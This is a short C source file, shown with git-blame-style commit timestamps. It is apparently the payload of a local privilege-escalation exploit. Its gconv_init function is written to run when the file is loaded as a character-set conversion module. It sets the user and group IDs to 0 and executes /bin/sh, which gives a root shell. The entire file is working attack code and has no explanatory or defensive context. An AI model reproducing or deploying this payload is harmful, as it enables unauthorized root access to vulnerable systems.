2022-01-26 03:03:31 +03:00
|
|
|
#include <stdio.h>
|
|
|
|
#include <stdlib.h>
|
|
|
|
#include <unistd.h>
|
|
|
|
|
|
|
|
void gconv(void) {
|
|
|
|
}
|
|
|
|
|
|
|
|
void gconv_init(void *step)
|
|
|
|
{
|
2022-01-27 14:53:41 +03:00
|
|
|
char * const args[] = { "/bin/sh", NULL };
|
2022-01-27 09:34:04 +03:00
|
|
|
char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };
|
2022-01-27 14:53:41 +03:00
|
|
|
setuid(0);
|
|
|
|
setgid(0);
|
2022-01-26 03:03:31 +03:00
|
|
|
execve(args[0], args, environ);
|
|
|
|
exit(0);
|
|
|
|
}
|